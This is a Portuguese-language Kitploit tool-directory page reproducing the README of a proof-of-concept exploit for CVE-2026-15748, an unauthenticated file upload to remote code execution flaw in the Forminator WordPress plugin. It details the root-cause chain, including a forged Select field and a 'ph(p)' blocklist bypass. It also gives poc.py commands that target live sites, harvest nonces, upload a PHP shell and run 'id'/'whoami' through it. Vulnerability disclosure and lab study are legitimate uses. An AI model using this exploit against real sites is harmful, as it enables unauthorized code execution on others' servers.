Skip to content
KitploitKITPLOIT
FerramentasExploitsBlog
Log in
Enviar
FerramentasExploitsBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2026-15748 — Forminator Forms <= 1.56.1 - Upload Arbitrário de Arquivos Não Autenticado via Configuração Forjada de Campo de Upload | Kitploit
Ferramentas/GitHubGitHub/ubaydev/cve-2026-15748
Análise de VulnerabilidadesExploraçãoExploração de Aplicações WebSegurança WebTestes de PenetraçãoRed Teaming
GitHububaydev/cve-2026-15748

CVE-2026-15748

Forminator Forms <= 1.56.1 - Upload Arbitrário de Arquivos Não Autenticado via Configuração Forjada de Campo de Upload

Ver Repositório
7há 1 mêsAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2026-15748 — Forminator Forms Upload Arbitrário de Arquivo Não Autenticado → RCE

CVSS 9.8 (Crítico) · Afetado: Forminator <= 1.56.1 · Corrigido: 1.56.2 Pesquisador: daroo (Wordfence Bug Bounty, $2,048) · ~600 mil instalações ativas Análise: wordfence.com/blog/2026/08/600000-wordpress-sites-affected-by-arbitrary-file-upload-vulnerability-in-forminator-forms-wordpress-plugin/

Cadeia da causa raiz

Três fragilidades encadeadas por meio de um valor forjado de campo Select:

  1. Sem sanitização em matrizes de campos aninhadas — Forminator_CForm_Front_Action::set_field_data() prepare_fields_info() itera sobre cada campo armazenado. Para o campo Select armazenado select-1, $field_data = prepared_data['select-1'] (matriz aninhada controlada pelo atacante). Quando ele carrega return, a matriz é acrescentada a field_data_array por completo (front-action.php ~linha 1088), antes de qualquer sanitização/validação por campo. maybe_handle_custom_option() não remove esses.

  2. Configuração de campo não confiável tratada como confiável no upload — Forminator_CForm_Front_Action::process_uploads() itera sobre field_data_array, confia no forjado field_type == 'upload', usa o name forjado para selecionar uma entrada $_FILES, e passa o field_array forjado como configuração confiável para Forminator_Upload::handle_file_upload().

  3. Bypass da blocklist por chave exata — forminator_allowed_mime_types() remove a chave literal php, mas wp_check_filetype() trata as chaves como regex. A chave ph(p) sobrevive à blocklist mas corresponde ao sufixo .php. additional-type = ph(p)|text/x-php permite que um arquivo .php passe na validação.

Condição de explorabilidade

Um formulário publicado deve conter ambos: um campo de Upload de Arquivo e um campo Select. O Select é apenas o transportador.

Ressalva de execução (VERIFICADO EM LABORATÓRIO)

  • Upload de .php arbitrário ao disco é bem-sucedido por padrão (nenhuma configuração especial é necessária para a escrita).
  • RCE exige que a raiz de upload não tenha Apache .htaccess. Tanto a raiz padrão do Forminator quanto uma raiz personalizada recebem um .htaccess bloqueando PHP (SetHandler none / RemoveHandler). O RCE só ocorre quando esse .htaccess está ausente — o cenário do writeup de "raiz de armazenamento personalizada criada durante uma requisição de frontend onde insert_with_markers() não é carregado".
  • No laboratório, alcançamos RCE usando uma raiz de armazenamento personalizada e simulando o estado sem .htaccess.

Caminho de upload e hash (importante para testes ao vivo)

  • Raiz padrão: wp-content/uploads/forminator/ → arquivo em wp-content/uploads/forminator/{form_id}_{hash}/uploads/<file>.
  • Raiz personalizada: se o admin definiu forminator_custom_upload_root (ex.: cveuploads), os arquivos vão para wp-content/uploads/cveuploads/{form_id}_{hash}/uploads/<file>.
  • O <hash> é wp_hash($form_id) — derivado dos salts AUTH do site, portanto não é previsível externamente. poc.py imprime o padrão do caminho; para completá-lo, você deve recuperar o hash (listagem de diretório, URL/log de um arquivo já enviado, uma entrada no admin etc.) via --form-hash.
  • Nome do arquivo enviado = wp_generate_password(12,false,false) . '-' . <original> → ex.: cX3fRjMDDu03-shell.php (12 caracteres alfanuméricos aleatórios + - + nome original).

Uso — poc.py

Prioriza alvos ao vivo por design; os auxiliares de laboratório local (varredura do sistema de arquivos, remoção de .htaccess) são restritos a http://wordpresslab.test / http://localhost apenas.

# A) Simplest (auto-discover): fetch page, parse nonce/form_id/fields, auto-fill, upload
python3 poc.py --target https://site.tld/                       # url-only -> fetches index
python3 poc.py --target https://site.tld/kontak                # path given -> fetches that page
python3 poc.py --target https://site.tld/ --page-id 42         # append ?page_id=42

# B) Manual nonce/form-id (skip discovery, still fetches page for --auto harvest)
python3 poc.py --target https://site.tld/ --form-id 4840 --nonce 69c8f06303

# C) Verify a candidate shell URL on a live target
python3 poc.py --target https://site.tld/ --form-id 4840 --nonce 69c8f06303 \
    --verify-url "https://site.tld/wp-content/uploads/forminator/4840_<hash>/uploads/<12char>-shell.php"

# D) local lab: full RCE (scans container FS, removes .htaccess, executes)
python3 poc.py --target http://wordpresslab.test --page-id 32 --find-shell

Flags

FlagDescrição
--targetURL base (ou URL completa da página quando não há --page-id/manual)
--page-idID do post; se vazio, a própria URL de destino é buscada para obter nonce/form_id
--form-id, --nonceignora a descoberta; ainda busca a página para coleta via --auto
--upload-fieldnome real do campo de upload (padrão upload-1)
--forge-namecarreador $_FILES forjado (padrão = nome real, modo de colisão; use um nome distinto para obter um success=True limpo)
--selectcampo select a usar (padrão select-1)
--extra name=valueforça um valor de campo (repetível; --extra 'checkbox-1[]=a+b' para múltiplos)
--auto / --no-autocoleta os campos reais do formulário no HTML e preenche automaticamente valores plausíveis por tipo (padrão ativado)
--upload-rootraiz de upload relativa (padrão wp-content/uploads/forminator; defina ex.: wp-content/uploads/cveuploads para raiz personalizada)
--form-hasha parte <hash> do diretório de upload → completa/imprime uma URL concreta
--verify-urlao vivo: testa uma URL de shell candidata com ?c=id/?c=whoami
--find-shellsomente local (wordpresslab.test/localhost): encontra o *-shell.php mais recente, remove .htaccess, executa
--no-htaccessimprime a nota de remoção de .htaccess do laboratório local

Mapeamento de valores --auto (coletados do HTML do formulário)

Tipo de campoValor gerado
email / nome contém emailauto<rand>@mailinator.com
tel / nome contém phone10 dígitos aleatórios
url / nome contém urlhttps://example.com/<rand>
numberaleatório de 1 a 9999
date2026-08-19
grupo de checkbox/radio name[]primeiro valor da opção (todas as entradas com o mesmo nome são varridas)
checkbox/radio únicoatributo value, fallback checked
<select> (não carreador)primeira opção não vazia
<textarea>texto aleatório
texto simples10 caracteres aleatórios

Ignorados: campos internos (action/form_id/nonce/...), type="file" (upload-*), select-* (carreador do exploit), calculation-* (calculados) e campos de plugins externos (wpforms[...]).

Reprodução em laboratório (wordpresslab.test, WP 6.9.4 + Forminator 1.56.1)

Configuração:

  • Formulário com um campo Upload real + um campo Select (construído via build_form.php, API Forminator_Form_Model).
  • Raiz de armazenamento de upload personalizada habilitada (forminator_custom_upload=1, forminator_custom_upload_root=cveuploads) para podermos demonstrar RCE. cveuploads/ é um artefato de laboratório, não um padrão do Forminator.
  • Nota de design: para um success=True limpo, o name forjado deve diferir do element_id do campo de upload real. Um nome em colisão ainda envia o arquivo, mas o campo real também executa sua própria verificação de MIME padrão → a resposta relata um erro enquanto o shell já está no disco.

Evidência bruta (execução em laboratório):

# default path pattern (hash is site-secret):
wp-content/uploads/forminator/<form_id>_<hash>/uploads/<12char>-shell.php
Baixar ferramenta